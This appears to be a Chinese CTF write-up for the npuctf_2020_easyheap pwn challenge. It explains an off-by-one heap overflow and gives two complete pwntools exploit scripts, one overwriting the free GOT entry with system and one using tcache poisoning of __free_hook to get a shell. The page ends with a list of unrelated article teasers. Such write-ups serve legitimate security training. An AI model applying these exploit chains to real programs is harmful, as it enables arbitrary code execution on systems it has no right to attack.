news 2026/5/12 2:56:21

buuctf--npuctf_2020_easyheap

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf--npuctf_2020_easyheap

这道题可以说是第一道glibc 2.27的堆题,与2.23不同,因为glibc2.27引入了tcache,当我们释放一个chunk他会进入tcache里面,分配和释放的方式都不一样,接着来看一下这个题

首先查看一下文件相关保护

这里发现之开启了canary和NX,没用开RELRO,所以这里got表是可写的,接着将这个文件丢到ida64里面进行查看

很经典的一个菜单题,接着从create入手来分析这个结构

首先第10行一个遍历查看当前哪一个位置是空的,从而当作一个可以被申请的位置,14行进行申请0x10的chunk,这里这个chunk的地址就是写入在这个(heaparray+i)的位置,然后26行表示这里0x10的这个chunk的后8字节用来存储我们申请chunk的地址,前面8字节用来存储对应chunk的大小。然后34行就是对我们申请的chunk进行写数据。这个函数就是申请两个chunk,一个0x10,一个我们自己输入的并且只能是0x18和0x38.然后这个0x10这个chunk就是用来描述我们申请的chunk的。接着看到edit函数

这里edit函数存在一个off by one的漏洞,我们可以通过多写入一个字节从而修改与这个chunk相邻的下一个chunk的size字段,从而释放进入我们想要的tcache bin里面。

这里show函数18行是根据这个0x10的chunk的第二个8字节来输出内容,这里可以将这个改为got函数地址,从而泄露libc的基址

free函数就是将我们申请的下标置0,然后释放0x10的chunk,释放我们申请的chunk,但是这里是我们申请的chunk先释放,然后后释放0x10这个chunk。但是这里将0x10这个chunk置0了,所以不存在uaf漏洞。

这里的攻击思路就是先申请,然后利用off by one漏洞来修改下一个chunk的大小,然后释放下一个chunk再申请,接着写入got函数地址。

首先先来为每一个功能写一个辅助函数,如下:

def menu(choice): r.recvuntil(b'Your choice :') r.sendline(str(choice).encode()) def add(size,content): menu(1) r.recvuntil(b'Size of Heap(0x10 or 0x20 only) : ') r.sendline(str(size).encode()) r.recvuntil(b'Content:') r.send(content) def edit(index, content): menu(2) r.recvuntil(b'Index :') r.sendline(str(index).encode()) # r.recvuntil(b'text length: ') # r.sendline(str(size).encode()) r.recvuntil(b'Content: ') r.send(content) def show(index): #输出堆块大小和数据 menu(3) r.recvuntil(b'Index :') r.sendline(str(index).encode()) # r.recvuntil(b'Content: \n') def free(index): #先释放我们申请的,后释放0x10,并且我们申请的不会置为0 menu(4) r.recvuntil(b'Index :') r.sendline(str(index).encode())

写好了之后应该就可以写出下面这样的代码:

add(0x18,b'gaoshou') #下标为0 add(0x18,b'gaoshou') #下标为1 payload=b'a'*0x18+b'\x41' #通过off by one漏洞将下一个特征chunk的大小改为0x21,从0x21变成0x41 edit(0,payload) free(1) #释放是先释放我们申请的,然后释放那个特征chunk,这里释放之后tcache里面是一个0x20有一个,0x40有一个,0x20是我们申请的那个chunk,0x40是create函数帮我们申请的0x10对应的chunk add(0x38,b'gaoshou') #这里先申请0x10,然后申请0x38,这样0x38这个chunk的后面0x20就刚好覆盖了这个0x10这个chunk,从而可以将got函数写入我们的特征chunk payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free']) edit(1,payload1) show(1) #这里show就会将free函数的got地址里面的值输出,从而可以利用这个泄露libc的基址

这里泄露出libc基址之后,将free函数改为system函数,接着free("/bin/sh")触发getshell,这里就是因为RELRO保护没有开,所以就可以通过复写函数,从而getshell,最后得到poc:

r = remote("node5.buuoj.cn", 29075) libc=ELF(r"C:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so") elf=ELF(r"C:\Users\lezho\Desktop\misc\npuctf_2020_easyheap") add(0x18,b'gaoshou') add(0x18,b'gaoshou') add(0x18,b'/bin/sh\x00') payload=b'a'*0x18+b'\x41' edit(0,payload) free(1) add(0x38,b'gaoshou') #下标为1,申请的0x38完全覆盖下面的0x21chunk,头节点在下 payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free']) edit(1,payload1) show(1) r.recvuntil(b'\nContent : ') leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) libc.address=leak-libc.symbols['free'] print(hex(libc.address)) edit(1,p64(libc.symbols['system'])) #将free函数改为system函数 free(2) r.interactive()

这里攻击可以实现就是因为RELRO保护没有开,这里如果开了这个保护,就不能这么干了,那么这里就可以换一种攻击,也就是glibc2.27最经典的tcache dup。通过将一个tcache里面bin的fd改为free_hook,然后将system这个函数地址写入free_hook,最后system(/bin/sh) get shell

r = remote("node5.buuoj.cn", 29075) libc=ELF(r"C:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so") elf=ELF(r"C:\Users\lezho\Desktop\misc\npuctf_2020_easyheap") add(0x18,b'gaoshou') add(0x18,b'gaoshou') add(0x18,b'/bin/sh\x00') payload=b'a'*0x18+b'\x41' edit(0,payload) free(1) add(0x38,b'gaoshou') #下标为1,申请的0x38完全覆盖下面的0x21chunk,头节点在下 payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free'])+p64(0)+b'\x41' edit(1,payload1) show(1) r.recvuntil(b'\nContent : ') leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) libc.address=leak-libc.symbols['free'] print(hex(libc.address)) free_hook=libc.symbols['__free_hook'] system_addr=libc.symbols['system'] free(2) #将2进行释放 释放之后bin里面有一个0x41的chunk和一个0x21的chunk free(0) #将0释放,bin里面会多2个0x20的chunk add(0x38,b'gaoshou') #下标为0 add(0x38,b'/bin/sh\x00') #申请之后bin里面只有一个0x21的chunk,刚好是上面的0x41chunk的下半截 payload2=b'a'*0x18+p64(0x21)+p64(free_hook) edit(0,payload2) add(0x18,p64(system_addr)) #在free_hook里面写下system函数 free(2) #free触发攻击 r.interactive()

这个攻击就是先泄露libc的基址,然后再次利用off by one的漏洞,实现空间重叠,然后payload2修改释放进入tcache里面的chunk的fd,然后两次申请,最后将system_addr写入free_hook。最后触发

这个后面这个poc应该是通用的,可以绕过RELRO这个保护

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/9 15:00:57

揭秘DeepSeekR1:打造简化版AI语言模型

构建类似于DeepSeek R1这样的大型语言模型需要专业知识和庞大资源,但我们可以从基础原理入手实现简化版。以下是关键步骤:一、核心架构原理Transformer架构DeepSeek R1基于Transformer,核心公式:$$\text{Attention}(Q,K,V) \text…

作者头像 李华
网站建设 2026/5/11 16:25:36

『NAS』一键部署2048小游戏

点赞 关注 收藏 学会了 整理了一个NAS小专栏,有兴趣的工友可以关注一下 👉 《NAS邪修》 轻量化开源的 2048 游戏,完美支持 NAS 私有化部署,借助 Docker 可实现一键安装,群晖、绿联、威联通等主流 NAS 设备均能适配&…

作者头像 李华
网站建设 2026/5/11 10:03:01

LeetCode数组题解:5大经典Python实战

以下是针对LeetCode热门题目Top 100 Liked Questions中“普通数组”类题目的Python版本解法指南。普通数组题目通常涉及数组的基本操作,如遍历、排序、查找等。我将逐步介绍几个代表性题目,提供Python代码和简要解释,帮助您理解和实现。 1. …

作者头像 李华
网站建设 2026/5/11 14:12:07

内存指针是什么?为什么指针还要有偏移量?

原文链接&#xff1a;内存指针是什么&#xff1f;为什么指针还要有偏移量&#xff1f; < Ping通途说 1. 什么是内存指针、偏移量&#xff1f; 内存指针是一个存储内存地址的变量&#xff0c;它指向计算机内存中的某个特定位置。可以把它想象成&#xff1a; 现实世界的比喻&a…

作者头像 李华
网站建设 2026/5/9 12:32:36

以太网技术全解:从电缆到云端的通信基石

第一章&#xff1a;网络世界的物理基础与历史演进 1.1 序言&#xff1a;看不见的数字血脉 当我们点击网页上的链接、发送一封电子邮件&#xff0c;或者在视频会议中向同事挥手致意时&#xff0c;我们很少会去思考这些数据是如何在物理世界中穿梭的。我们生活在一个高度互联的…

作者头像 李华